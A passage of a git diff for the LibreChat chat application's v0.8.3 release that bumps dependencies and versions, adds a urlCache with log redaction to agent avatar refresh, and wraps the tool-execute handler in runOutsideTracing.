+++ b/librechat.example.yaml
@@ -2,7 +2,7 @@
 # https://www.librechat.ai/docs/configuration/librechat_yaml
 
 # Configuration version (required)
-version: 1.3.4
+version: 1.3.6
 
 # Cache settings: Set to true to enable caching
 cache: true
diff --git a/package-lock.json b/package-lock.json
index 62af363289..502b3a8eed 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -1,12 +1,12 @@
 {
   "name": "LibreChat",
-  "version": "v0.8.3-rc1",
+  "version": "v0.8.3",
   "lockfileVersion": 3,
   "requires": true,
   "packages": {
     "": {
       "name": "LibreChat",
-      "version": "v0.8.3-rc1",
+      "version": "v0.8.3",
       "license": "ISC",
       "workspaces": [
         "api",
@@ -16,7 +16,7 @@
       "devDependencies": {
         "@axe-core/playwright": "^4.10.1",
         "@eslint/compat": "^1.2.6",
-        "@eslint/eslintrc": "^3.3.1",
+        "@eslint/eslintrc": "^3.3.4",
         "@eslint/js": "^9.20.0",
         "@playwright/test": "^1.56.1",
         "@types/react-virtualized": "^9.22.0",
@@ -40,13 +40,13 @@
         "lint-staged": "^15.4.3",
         "prettier": "^3.5.0",
         "prettier-plugin-tailwindcss": "^0.6.11",
-        "turbo": "^2.8.7",
+        "turbo": "^2.8.12",
         "typescript-eslint": "^8.24.0"
       }
     },
     "api": {
       "name": "@librechat/backend",
-      "version": "v0.8.3-rc1",
+      "version": "v0.8.3",
       "license": "ISC",
       "dependencies": {
         "@anthropic-ai/vertex-sdk": "^0.14.3",
@@ -59,13 +59,14 @@
         "@google/genai": "^1.19.0",
         "@keyv/redis": "^4.3.3",
         "@langchain/core": "^0.3.80",
-        "@librechat/agents": "^3.1.50",
+        "@librechat/agents": "^3.1.55",
         "@librechat/api": "*",
         "@librechat/data-schemas": "*",
         "@microsoft/microsoft-graph-client": "^3.0.7",
-        "@modelcontextprotocol/sdk": "^1.26.0",
+        "@modelcontextprotocol/sdk": "^1.27.1",
         "@node-saml/passport-saml": "^5.1.0",
         "@smithy/node-http-handler": "^4.4.5",
+        "ai-tokenizer": "^1.0.6",
         "axios": "^1.13.5",
         "bcryptjs": "^2.4.3",
         "compression": "^1.8.1",
@@ -78,10 +79,10 @@
         "eventsource": "^3.0.2",
         "express": "^5.2.1",
         "express-mongo-sanitize": "^2.2.0",
-        "express-rate-limit": "^8.2.1",
+        "express-rate-limit": "^8.3.0",
         "express-session": "^1.18.2",
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-        "data-urls": "^5.0.0",
-        "decimal.js": "^10.5.0",
-        "html-encoding-sniffer": "^4.0.0",
-        "http-proxy-agent": "^7.0.2",
-        "https-proxy-agent": "^7.0.6",
-        "is-potential-custom-element-name": "^1.0.1",
-        "nwsapi": "^2.2.16",
-        "parse5": "^7.2.1",
-        "rrweb-cssom": "^0.8.0",
-        "saxes": "^6.0.0",
-        "symbol-tree": "^3.2.4",
-        "tough-cookie": "^5.1.1",
-        "w3c-xmlserializer": "^5.0.0",
-        "webidl-conversions": "^7.0.0",
-        "whatwg-encoding": "^3.1.1",
-        "whatwg-mimetype": "^4.0.0",
-        "whatwg-url": "^14.1.1",
-        "ws": "^8.18.0",
-        "xml-name-validator": "^5.0.0"
-      },
-      "engines": {
-        "node": ">=18"
-      },
-      "peerDependencies": {
-        "canvas": "^3.0.0"
-      },
-      "peerDependenciesMeta": {
-        "canvas": {
-          "optional": true
-        }
-      }
-    },
-    "packages/client/node_modules/nwsapi": {
-      "version": "2.2.23",
-      "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.23.tgz",
-      "integrity": "sha512-7wfH4sLbt4M0gCDzGE6vzQBo0bfTKjU7Sfpqy/7gs1qBfYz2vEJH6vXcBKpO3+6Yu1telwd0t9HpyOoLEQQbIQ==",
-      "dev": true,
-      "license": "MIT"
-    },
-    "packages/client/node_modules/picomatch": {
-      "version": "4.0.3",
-      "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz",
-      "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==",
-      "dev": true,
-      "license": "MIT",
-      "engines": {
-        "node": ">=12"
-      },
-      "funding": {
-        "url": "https://github.com/sponsors/jonschlinkert"
-      }
-    },
     "packages/client/node_modules/pretty-format": {
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
@@ -44410,13 +46093,13 @@
       }
     },
     "packages/client/node_modules/rimraf": {
-      "version": "6.1.2",
-      "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-6.1.2.tgz",
-      "integrity": "sha512-cFCkPslJv7BAXJsYlK1dZsbP8/ZNLkCAQ0bi1hf5EKX2QHegmDFEFA6QhuYJlk7UDdc+02JjO80YSOrWPpw06g==",
+      "version": "6.1.3",
+      "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-6.1.3.tgz",
+      "integrity": "sha512-LKg+Cr2ZF61fkcaK1UdkH2yEBBKnYjTyWzTJT6KNPcSPaiT7HSdhtMXQuN5wkTX0Xu72KQ1l8S42rlmexS2hSA==",
       "dev": true,
       "license": "BlueOak-1.0.0",
       "dependencies": {
-        "glob": "^13.0.0",
+        "glob": "^13.0.3",
         "package-json-from-dist": "^1.0.1"
       },
       "bin": {
@@ -44439,42 +46122,6 @@
         "semver": "bin/semver.js"
       }
     },
-    "packages/client/node_modules/slash": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
-      "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==",
-      "dev": true,
-      "license": "MIT",
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "packages/client/node_modules/tough-cookie": {
-      "version": "5.1.2",
-      "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-5.1.2.tgz",
-      "integrity": "sha512-FVDYdxtnj0G6Qm/DhNPSb8Ju59ULcup3tuJxkFb5K8Bv2pUXILbf0xZWU8PX8Ov19OXljbUyveOFwRMwkXzO+A==",
-      "dev": true,
-      "license": "BSD-3-Clause",
-      "dependencies": {
-        "tldts": "^6.1.32"
-      },
-      "engines": {
-        "node": ">=16"
-      }
-    },
-    "packages/client/node_modules/tr46": {
-      "version": "5.1.1",
-      "resolved": "https://registry.npmjs.org/tr46/-/tr46-5.1.1.tgz",
-      "integrity": "sha512-hdF5ZgjTqgAntKkklYw0R03MG2x/bSzTtkxmIRw/sTNV8YXsCJ1tfLAX23lhxhHJlEf3CRCOCGGWw3vI3GaSPw==",
-      "dev": true,
-      "license": "MIT",
-      "dependencies": {
-        "punycode": "^2.3.1"
-      },
-      "engines": {
-        "node": ">=18"
-      }
-    },
     "packages/client/node_modules/unicode-match-property-value-ecmascript": {
       "version": "2.2.1",
       "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.2.1.tgz",
@@ -44485,69 +46132,9 @@
         "node": ">=4"
       }
     },
-    "packages/client/node_modules/w3c-xmlserializer": {
-      "version": "5.0.0",
-      "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-5.0.0.tgz",
-      "integrity": "sha512-o8qghlI8NZHU1lLPrpi2+Uq7abh4GGPpYANlalzWxyWteJOCsr/P+oPBA49TOLu5FTZO4d3F9MnWJfiMo4BkmA==",
-      "dev": true,
-      "license": "MIT",
-      "dependencies": {
-        "xml-name-validator": "^5.0.0"
-      },
-      "engines": {
-        "node": ">=18"
-      }
-    },
-    "packages/client/node_modules/whatwg-encoding": {
-      "version": "3.1.1",
-      "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-3.1.1.tgz",
-      "integrity": "sha512-6qN4hJdMwfYBtE3YBTTHhoeuUrDBPZmbQaxWAqSALV/MeEnR5z1xd8UKud2RAkFoPkmB+hli1TZSnyi84xz1vQ==",
-      "dev": true,
-      "license": "MIT",
-      "dependencies": {
-        "iconv-lite": "0.6.3"
-      },
-      "engines": {
-        "node": ">=18"
-      }
-    },
-    "packages/client/node_modules/whatwg-mimetype": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-4.0.0.tgz",
-      "integrity": "sha512-QaKxh0eNIi2mE9p2vEdzfagOKHCcj1pJ56EEHGQOVxp8r9/iszLUUV7v89x9O1p/T+NlTM5W7jW6+cz4Fq1YVg==",
-      "dev": true,
-      "license": "MIT",
-      "engines": {
-        "node": ">=18"
-      }
-    },
-    "packages/client/node_modules/whatwg-url": {
-      "version": "14.2.0",
-      "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-14.2.0.tgz",
-      "integrity": "sha512-De72GdQZzNTUBBChsXueQUnPKDkg/5A5zp7pFDuQAj5UFoENpiACU0wlCvzpAGnTkj++ihpKwKyYewn/XNUbKw==",
-      "dev": true,
-      "license": "MIT",
-      "dependencies": {
-        "tr46": "^5.1.0",
-        "webidl-conversions": "^7.0.0"
-      },
-      "engines": {
-        "node": ">=18"
-      }
-    },
-    "packages/client/node_modules/xml-name-validator": {
-      "version": "5.0.0",
-      "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-5.0.0.tgz",
-      "integrity": "sha512-EvGK8EJ3DhaHfbRlETOWAS5pO9MZITeauHKJyb8wyajUfQUenkIg2MvLDTZ4T/TgIcm3HU0TFBgWWboAZ30UHg==",
-      "dev": true,
-      "license": "Apache-2.0",
-      "engines": {
-        "node": ">=18"
-      }
-    },
     "packages/data-provider": {
       "name": "librechat-data-provider",
-      "version": "0.8.300",
+      "version": "0.8.302",
       "license": "ISC",
       "dependencies": {
         "axios": "^1.13.5",
@@ -44573,8 +46160,8 @@
         "jest": "^30.2.0",
         "jest-junit": "^16.0.0",
         "openapi-types": "^12.1.3",
-        "rimraf": "^6.1.2",
-        "rollup": "^4.22.4",
+        "rimraf": "^6.1.3",
+        "rollup": "^4.34.9",
         "rollup-plugin-peer-deps-external": "^2.2.4",
         "rollup-plugin-typescript2": "^0.35.0",
         "typescript": "^5.0.4"
@@ -44584,13 +46171,13 @@
       }
     },
     "packages/data-provider/node_modules/rimraf": {
-      "version": "6.1.2",
-      "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-6.1.2.tgz",
-      "integrity": "sha512-cFCkPslJv7BAXJsYlK1dZsbP8/ZNLkCAQ0bi1hf5EKX2QHegmDFEFA6QhuYJlk7UDdc+02JjO80YSOrWPpw06g==",
+      "version": "6.1.3",
+      "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-6.1.3.tgz",
+      "integrity": "sha512-LKg+Cr2ZF61fkcaK1UdkH2yEBBKnYjTyWzTJT6KNPcSPaiT7HSdhtMXQuN5wkTX0Xu72KQ1l8S42rlmexS2hSA==",
       "dev": true,
       "license": "BlueOak-1.0.0",
       "dependencies": {
-        "glob": "^13.0.0",
+        "glob": "^13.0.3",
         "package-json-from-dist": "^1.0.1"
       },
       "bin": {
@@ -44605,7 +46192,7 @@
     },
     "packages/data-schemas": {
       "name": "@librechat/data-schemas",
-      "version": "0.0.36",
+      "version": "0.0.38",
       "license": "MIT",
       "devDependencies": {
         "@rollup/plugin-alias": "^5.1.0",
@@ -44621,8 +46208,8 @@
         "jest": "^30.2.0",
         "jest-junit": "^16.0.0",
         "mongodb-memory-server": "^10.1.4",
-        "rimraf": "^6.1.2",
-        "rollup": "^4.22.4",
+        "rimraf": "^6.1.3",
+        "rollup": "^4.34.9",
         "rollup-plugin-peer-deps-external": "^2.2.4",
         "rollup-plugin-typescript2": "^0.35.0",
         "ts-node": "^10.9.2",
@@ -44667,13 +46254,13 @@
       }
     },
     "packages/data-schemas/node_modules/rimraf": {
-      "version": "6.1.2",
-      "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-6.1.2.tgz",
-      "integrity": "sha512-cFCkPslJv7BAXJsYlK1dZsbP8/ZNLkCAQ0bi1hf5EKX2QHegmDFEFA6QhuYJlk7UDdc+02JjO80YSOrWPpw06g==",
+      "version": "6.1.3",
+      "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-6.1.3.tgz",
+      "integrity": "sha512-LKg+Cr2ZF61fkcaK1UdkH2yEBBKnYjTyWzTJT6KNPcSPaiT7HSdhtMXQuN5wkTX0Xu72KQ1l8S42rlmexS2hSA==",
       "dev": true,
       "license": "BlueOak-1.0.0",
       "dependencies": {
-        "glob": "^13.0.0",
+        "glob": "^13.0.3",
         "package-json-from-dist": "^1.0.1"
       },
       "bin": {
diff --git a/package.json b/package.json
index 6c8e715a1a..ecbede482e 100644
--- a/package.json
+++ b/package.json
@@ -1,6 +1,6 @@
 {
   "name": "LibreChat",
-  "version": "v0.8.3-rc1",
+  "version": "v0.8.3",
   "description": "",
   "packageManager": "npm@11.10.0",
   "workspaces": [
@@ -38,7 +38,7 @@
     "update-banner": "node config/update-banner.js",
     "delete-banner": "node config/delete-banner.js",
     "backend": "cross-env NODE_ENV=production node api/server/index.js",
-    "backend:inspect": "cross-env NODE_ENV=production node --inspect api/server/index.js",
+    "backend:inspect": "cross-env NODE_ENV=production node --inspect --expose-gc api/server/index.js",
     "backend:dev": "cross-env NODE_ENV=development npx nodemon api/server/index.js",
     "backend:experimental": "cross-env NODE_ENV=production node api/server/experimental.js",
     "backend:stop": "node config/stop-backend.js",
@@ -48,6 +48,7 @@
     "build:client": "cd client && npm run build",
     "build:client-package": "cd packages/client && npm run build",
     "build:packages": "npm run build:data-provider && npm run build:data-schemas && npm run build:api && npm run build:client-package",
+    "build": "npx turbo run build",
     "frontend": "npm run build:data-provider && npm run build:data-schemas && npm run build:api && npm run build:client-package && cd client && npm run build",
     "frontend:ci": "npm run build:data-provider && npm run build:client-package && cd client && npm run build:ci",
     "frontend:dev": "cd client && npm run dev",
@@ -106,7 +107,7 @@
   "devDependencies": {
     "@axe-core/playwright": "^4.10.1",
     "@eslint/compat": "^1.2.6",
-    "@eslint/eslintrc": "^3.3.1",
+    "@eslint/eslintrc": "^3.3.4",
     "@eslint/js": "^9.20.0",
     "@playwright/test": "^1.56.1",
     "@types/react-virtualized": "^9.22.0",
@@ -130,7 +131,7 @@
     "lint-staged": "^15.4.3",
     "prettier": "^3.5.0",
     "prettier-plugin-tailwindcss": "^0.6.11",
-    "turbo": "^2.8.7",
+    "turbo": "^2.8.12",
     "typescript-eslint": "^8.24.0"
   },
   "overrides": {
@@ -138,14 +139,14 @@
     "@librechat/agents": {
       "@langchain/anthropic": {
         "@anthropic-ai/sdk": "0.73.0",
-        "fast-xml-parser": "5.3.6"
+        "fast-xml-parser": "5.3.8"
       },
       "@anthropic-ai/sdk": "0.73.0",
-      "fast-xml-parser": "5.3.6"
+      "fast-xml-parser": "5.3.8"
     },
     "axios": "1.12.1",
     "elliptic": "^6.6.1",
-    "fast-xml-parser": "5.3.6",
+    "fast-xml-parser": "5.3.8",
     "form-data": "^4.0.4",
     "tslib": "^2.8.1",
     "mdast-util-gfm-autolink-literal": "2.0.0",
@@ -164,7 +165,18 @@
         "katex": "^0.16.21"
       }
     },
-    "langsmith": "0.4.12"
+    "langsmith": "0.4.12",
+    "eslint": {
+      "ajv": "6.14.0"
+    },
+    "underscore": "1.13.8",
+    "hono": "^4.12.4",
+    "@hono/node-server": "^1.19.10",
+    "monaco-editor": {
+      "dompurify": "3.3.2"
+    },
+    "serialize-javascript": "^7.0.3",
+    "svgo": "^2.8.2"
   },
   "nodemonConfig": {
     "ignore": [
diff --git a/packages/api/jest.config.mjs b/packages/api/jest.config.mjs
index 5506d6e483..df9cf6bcc2 100644
--- a/packages/api/jest.config.mjs
+++ b/packages/api/jest.config.mjs
@@ -7,6 +7,7 @@ export default {
     '\\.dev\\.ts$',
     '\\.helper\\.ts$',
     '\\.helper\\.d\\.ts$',
+    '/__tests__/helpers/',
   ],
   coverageReporters: ['text', 'cobertura'],
   testResultsProcessor: 'jest-junit',
@@ -33,6 +34,7 @@ export default {
   //     lines: 57,
   //   },
   // },
+  maxWorkers: '50%',
   restoreMocks: true,
   testTimeout: 15000,
 };
diff --git a/packages/api/package.json b/packages/api/package.json
index 5f8d1357d0..77258fc0b3 100644
--- a/packages/api/package.json
+++ b/packages/api/package.json
@@ -1,6 +1,6 @@
 {
   "name": "@librechat/api",
-  "version": "1.7.23",
+  "version": "1.7.25",
   "type": "commonjs",
   "description": "MCP services for LibreChat",
   "main": "dist/index.js",
@@ -18,8 +18,8 @@
     "build:dev": "npm run clean && NODE_ENV=development rollup -c --bundleConfigAsCjs",
     "build:watch": "NODE_ENV=development rollup -c -w --bundleConfigAsCjs",
     "build:watch:prod": "rollup -c -w --bundleConfigAsCjs",
-    "test": "jest --coverage --watch --testPathIgnorePatterns=\"\\.*integration\\.|\\.*helper\\.\"",
-    "test:ci": "jest --coverage --ci --testPathIgnorePatterns=\"\\.*integration\\.|\\.*helper\\.\"",
+    "test": "jest --coverage --watch --testPathIgnorePatterns=\"\\.*integration\\.|\\.*helper\\.|__tests__/helpers/\"",
+    "test:ci": "jest --coverage --ci --testPathIgnorePatterns=\"\\.*integration\\.|\\.*helper\\.|__tests__/helpers/\"",
     "test:cache-integration:core": "jest --testPathPatterns=\"src/cache/.*\\.cache_integration\\.spec\\.ts$\" --coverage=false",
     "test:cache-integration:cluster": "jest --testPathPatterns=\"src/cluster/.*\\.cache_integration\\.spec\\.ts$\" --coverage=false --runInBand",
     "test:cache-integration:mcp": "jest --testPathPatterns=\"src/mcp/.*\\.cache_integration\\.spec\\.ts$\" --coverage=false",
@@ -67,12 +67,15 @@
     "jest": "^30.2.0",
     "jest-junit": "^16.0.0",
     "librechat-data-provider": "*",
+    "mammoth": "^1.11.0",
     "mongodb": "^6.14.2",
-    "rimraf": "^6.1.2",
-    "rollup": "^4.22.4",
+    "pdfjs-dist": "^5.4.624",
+    "rimraf": "^6.1.3",
+    "rollup": "^4.34.9",
     "rollup-plugin-peer-deps-external": "^2.2.4",
     "ts-node": "^10.9.2",
-    "typescript": "^5.0.4"
+    "typescript": "^5.0.4",
+    "xlsx": "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz"
   },
   "publishConfig": {
     "registry": "https://registry.npmjs.org/"
@@ -87,10 +90,11 @@
     "@google/genai": "^1.19.0",
     "@keyv/redis": "^4.3.3",
     "@langchain/core": "^0.3.80",
-    "@librechat/agents": "^3.1.50",
+    "@librechat/agents": "^3.1.55",
     "@librechat/data-schemas": "*",
-    "@modelcontextprotocol/sdk": "^1.26.0",
+    "@modelcontextprotocol/sdk": "^1.27.1",
     "@smithy/node-http-handler": "^4.4.5",
+    "ai-tokenizer": "^1.0.6",
     "axios": "^1.13.5",
     "connect-redis": "^8.1.0",
     "eventsource": "^3.0.2",
@@ -106,13 +110,14 @@
     "keyv": "^5.3.2",
     "keyv-file": "^5.1.2",
     "librechat-data-provider": "*",
+    "mammoth": "^1.11.0",
     "mathjs": "^15.1.0",
     "memorystore": "^1.6.7",
     "mongoose": "^8.12.1",
     "node-fetch": "2.7.0",
+    "pdfjs-dist": "^5.4.624",
     "rate-limit-redis": "^4.2.0",
-    "tiktoken": "^1.0.15",
-    "undici": "^7.18.2",
+    "undici": "^7.24.1",
     "zod": "^3.22.4"
   }
 }
diff --git a/packages/api/src/agents/__tests__/memory.test.ts b/packages/api/src/agents/__tests__/memory.test.ts
index 74cd0f4354..dabe6de629 100644
--- a/packages/api/src/agents/__tests__/memory.test.ts
+++ b/packages/api/src/agents/__tests__/memory.test.ts
@@ -22,8 +22,9 @@ jest.mock('winston', () => ({
 }));
 
 // Mock the Tokenizer
-jest.mock('~/utils', () => ({
-  Tokenizer: {
+jest.mock('~/utils/tokenizer', () => ({
+  __esModule: true,
+  default: {
     getTokenCount: jest.fn((text: string) => text.length), // Simple mock: 1 char = 1 token
   },
 }));
diff --git a/packages/api/src/agents/avatars.spec.ts b/packages/api/src/agents/avatars.spec.ts
index ac97964837..db82b311ee 100644
--- a/packages/api/src/agents/avatars.spec.ts
+++ b/packages/api/src/agents/avatars.spec.ts
@@ -7,6 +7,16 @@ import {
   refreshListAvatars,
 } from './avatars';
 
+jest.mock('@librechat/data-schemas', () => ({
+  logger: {
+    debug: jest.fn(),
+    info: jest.fn(),
+    error: jest.fn(),
+  },
+}));
+
+import { logger } from '@librechat/data-schemas';
+
 describe('refreshListAvatars', () => {
   let mockRefreshS3Url: jest.MockedFunction<RefreshS3UrlFn>;
   let mockUpdateAgent: jest.MockedFunction<UpdateAgentFn>;
@@ -15,6 +25,7 @@ describe('refreshListAvatars', () => {
   beforeEach(() => {
     mockRefreshS3Url = jest.fn();
     mockUpdateAgent = jest.fn();
+    jest.clearAllMocks();
   });
 
   const createAgent = (overrides: Partial<Agent> = {}): Agent => ({
@@ -44,6 +55,7 @@ describe('refreshListAvatars', () => {
     });
 
     expect(stats.updated).toBe(0);
+    expect(stats.urlCache).toEqual({});
     expect(mockRefreshS3Url).not.toHaveBeenCalled();
     expect(mockUpdateAgent).not.toHaveBeenCalled();
   });
@@ -62,6 +74,7 @@ describe('refreshListAvatars', () => {
 
     expect(stats.not_s3).toBe(1);
     expect(stats.updated).toBe(0);
+    expect(stats.urlCache).toEqual({});
     expect(mockRefreshS3Url).not.toHaveBeenCalled();
   });
 
@@ -109,6 +122,7 @@ describe('refreshListAvatars', () => {
     });
 
     expect(stats.updated).toBe(1);
+    expect(stats.urlCache).toEqual({ agent1: 'new-path.jpg' });
     expect(mockRefreshS3Url).toHaveBeenCalledWith(agent.avatar);
     expect(mockUpdateAgent).toHaveBeenCalledWith(
       { id: 'agent1' },
@@ -130,6 +144,7 @@ describe('refreshListAvatars', () => {
 
     expect(stats.no_change).toBe(1);
     expect(stats.updated).toBe(0);
+    expect(stats.urlCache).toEqual({});
     expect(mockUpdateAgent).not.toHaveBeenCalled();
   });
 
@@ -146,6 +161,7 @@ describe('refreshListAvatars', () => {
 
     expect(stats.s3_error).toBe(1);
     expect(stats.updated).toBe(0);
+    expect(stats.urlCache).toEqual({});
   });
 
   it('should handle database persist errors gracefully', async () => {
@@ -162,6 +178,7 @@ describe('refreshListAvatars', () => {
 
     expect(stats.persist_error).toBe(1);
     expect(stats.updated).toBe(0);
+    expect(stats.urlCache).toEqual({ agent1: 'new-path.jpg' });
   });
 
   it('should process agents in batches', async () => {
@@ -186,10 +203,49 @@ describe('refreshListAvatars', () => {
     });
 
     expect(stats.updated).toBe(25);
+    expect(Object.keys(stats.urlCache)).toHaveLength(25);
     expect(mockRefreshS3Url).toHaveBeenCalledTimes(25);
     expect(mockUpdateAgent).toHaveBeenCalledTimes(25);
   });
 
+  it('should not populate urlCache when refreshS3Url resolves with falsy', async () => {
+    const agent = createAgent();
+    mockRefreshS3Url.mockResolvedValue(undefined);
+
+    const stats = await refreshListAvatars({
+      agents: [agent],
+      userId,
+      refreshS3Url: mockRefreshS3Url,
+      updateAgent: mockUpdateAgent,
+    });
+
+    expect(stats.no_change).toBe(1);
+    expect(stats.urlCache).toEqual({});
+    expect(mockUpdateAgent).not.toHaveBeenCalled();
+  });
+
+  it('should redact urlCache from log output', async () => {
+    const agent = createAgent();
+    mockRefreshS3Url.mockResolvedValue('new-path.jpg');
+    mockUpdateAgent.mockResolvedValue({});
+
+    await refreshListAvatars({
+      agents: [agent],
+      userId,
+      refreshS3Url: mockRefreshS3Url,
+      updateAgent: mockUpdateAgent,
+    });
+
+    const loggerInfo = logger.info as jest.Mock;
+    const summaryCall = loggerInfo.mock.calls.find(([msg]) =>
+      msg.includes('Avatar refresh summary'),
+    );
+    expect(summaryCall).toBeDefined();
+    const loggedPayload = summaryCall[1];
+    expect(loggedPayload).toHaveProperty('urlCacheSize', 1);
+    expect(loggedPayload).not.toHaveProperty('urlCache');
+  });
+
   it('should track mixed statistics correctly', async () => {
     const agents = [
       createAgent({ id: 'agent1' }),
@@ -214,6 +270,7 @@ describe('refreshListAvatars', () => {
     expect(stats.updated).toBe(2); // agent1 and agent2 (other user's agent now refreshed)
     expect(stats.not_s3).toBe(1); // agent3
     expect(stats.no_id).toBe(1); // agent with empty id
+    expect(stats.urlCache).toEqual({ agent1: 'new-path.jpg', agent2: 'new-path.jpg' });
   });
 });
 
diff --git a/packages/api/src/agents/avatars.ts b/packages/api/src/agents/avatars.ts
index 7c92f352b2..25adfdc717 100644
--- a/packages/api/src/agents/avatars.ts
+++ b/packages/api/src/agents/avatars.ts
@@ -29,6 +29,8 @@ export type RefreshStats = {
   no_change: number;
   s3_error: number;
   persist_error: number;
+  /** Maps agentId to the latest valid presigned filepath for re-application on cache hits */
+  urlCache: Record<string, string>;
 };
 
 /**
@@ -55,6 +57,7 @@ export const refreshListAvatars = async ({
     no_change: 0,
     s3_error: 0,
     persist_error: 0,
+    urlCache: {},
   };
 
   if (!agents?.length) {
@@ -86,28 +89,23 @@ export const refreshListAvatars = async ({
           logger.debug('[refreshListAvatars] Refreshing S3 avatar for agent: %s', agent._id);
           const newPath = await refreshS3Url(agent.avatar);
 
-          if (newPath && newPath !== agent.avatar.filepath) {
-            try {
-              await updateAgent(
-                { id: agent.id },
-                {
-                  avatar: {
-                    filepath: newPath,
-                    source: agent.avatar.source,
-                  },
-                },
-                {
-                  updatingUserId: userId,
-                  skipVersioning: true,
-                },
-              );
-              stats.updated++;
-            } catch (persistErr) {
-              logger.error('[refreshListAvatars] Avatar refresh persist error: %o', persistErr);
-              stats.persist_error++;
-            }
-          } else {
+          if (!newPath || newPath === agent.avatar.filepath) {
             stats.no_change++;
+            return;
+          }
+
+          stats.urlCache[agent.id] = newPath;
+
+          try {
+            await updateAgent(
+              { id: agent.id },
+              { avatar: { filepath: newPath, source: agent.avatar.source } },
+              { updatingUserId: userId, skipVersioning: true },
+            );
+            stats.updated++;
+          } catch (persistErr) {
+            logger.error('[refreshListAvatars] Avatar refresh persist error: %o', persistErr);
+            stats.persist_error++;
           }
         } catch (err) {
           logger.error('[refreshListAvatars] S3 avatar refresh error: %o', err);
@@ -117,6 +115,10 @@ export const refreshListAvatars = async ({
     );
   }
 
-  logger.info('[refreshListAvatars] Avatar refresh summary: %o', stats);
+  const { urlCache: _urlCache, ...loggableStats } = stats;
+  logger.info('[refreshListAvatars] Avatar refresh summary: %o', {
+    ...loggableStats,
+    urlCacheSize: Object.keys(_urlCache).length,
+  });
   return stats;
 };
diff --git a/packages/api/src/agents/handlers.ts b/packages/api/src/agents/handlers.ts
index 62200b1a46..d1be596219 100644
--- a/packages/api/src/agents/handlers.ts
+++ b/packages/api/src/agents/handlers.ts
@@ -9,6 +9,7 @@ import type {
   ToolExecuteBatchRequest,
 } from '@librechat/agents';
 import type { StructuredToolInterface } from '@langchain/core/tools';
+import { runOutsideTracing } from '~/utils';
 
 export interface ToolEndCallbackData {
   output: {
@@ -57,110 +58,122 @@ export function createToolExecuteHandler(options: ToolExecuteOptions): EventHand
       const { toolCalls, agentId, configurable, metadata, resolve, reject } = data;
 
       try {
-        const toolNames = [...new Set(toolCalls.map((tc: ToolCallRequest) => tc.name))];
-        const { loadedTools, configurable: toolConfigurable } = await loadTools(toolNames, agentId);
-        const toolMap = new Map(loadedTools.map((t) => [t.name, t]));
-        const mergedConfigurable = { ...configurable, ...toolConfigurable };
+        await runOutsideTracing(async () => {
+          try {
+            const toolNames = [...new Set(toolCalls.map((tc: ToolCallRequest) => tc.name))];
+            const { loadedTools, configurable: toolConfigurable } = await loadTools(
+              toolNames,
+              agentId,
+            );
+            const toolMap = new Map(loadedTools.map((t) => [t.name, t]));
+            const mergedConfigurable = { ...configurable, ...toolConfigurable };
 
-        const results: ToolExecuteResult[] = await Promise.all(
-          toolCalls.map(async (tc: ToolCallRequest) => {
-            const tool = toolMap.get(tc.name);
+            const results: ToolExecuteResult[] = await Promise.all(
+              toolCalls.map(async (tc: ToolCallRequest) => {
+                const tool = toolMap.get(tc.name);
 
-            if (!tool) {
-              logger.warn(
-                `[ON_TOOL_EXECUTE] Tool "${tc.name}" not found. Available: ${[...toolMap.keys()].join(', ')}`,
-              );
-              return {
-                toolCallId: tc.id,
-                status: 'error' as const,
-                content: '',
-                errorMessage: `Tool ${tc.name} not found`,
-              };
-            }
-
-            try {
-              const toolCallConfig: Record<string, unknown> = {
-                id: tc.id,
-                stepId: tc.stepId,
-                turn: tc.turn,
-              };
-
-              if (
-                tc.codeSessionContext &&
-                (tc.name === Constants.EXECUTE_CODE ||
-                  tc.name === Constants.PROGRAMMATIC_TOOL_CALLING)
-              ) {
-                toolCallConfig.session_id = tc.codeSessionContext.session_id;
-                if (tc.codeSessionContext.files && tc.codeSessionContext.files.length > 0) {
-                  toolCallConfig._injected_files = tc.codeSessionContext.files;
-                }
-              }
-
-              if (tc.name === Constants.PROGRAMMATIC_TOOL_CALLING) {
-                const toolRegistry = mergedConfigurable?.toolRegistry as LCToolRegistry | undefined;
-                const ptcToolMap = mergedConfigurable?.ptcToolMap as
-                  | Map<string, StructuredToolInterface>
-                  | undefined;
-                if (toolRegistry) {
-                  const toolDefs: LCTool[] = Array.from(toolRegistry.values()).filter(
-                    (t) =>
-                      t.name !== Constants.PROGRAMMATIC_TOOL_CALLING &&
-                      t.name !== Constants.TOOL_SEARCH,
+                if (!tool) {
+                  logger.warn(
+                    `[ON_TOOL_EXECUTE] Tool "${tc.name}" not found. Available: ${[...toolMap.keys()].map((k) => `"${k}"`).join(', ')}`,
                   );
-                  toolCallConfig.toolDefs = toolDefs;
-                  toolCallConfig.toolMap = ptcToolMap ?? toolMap;
+                  return {
+                    toolCallId: tc.id,
+                    status: 'error' as const,
+                    content: '',
+                    errorMessage: `Tool ${tc.name} not found`,
+                  };
                 }
-              }
 
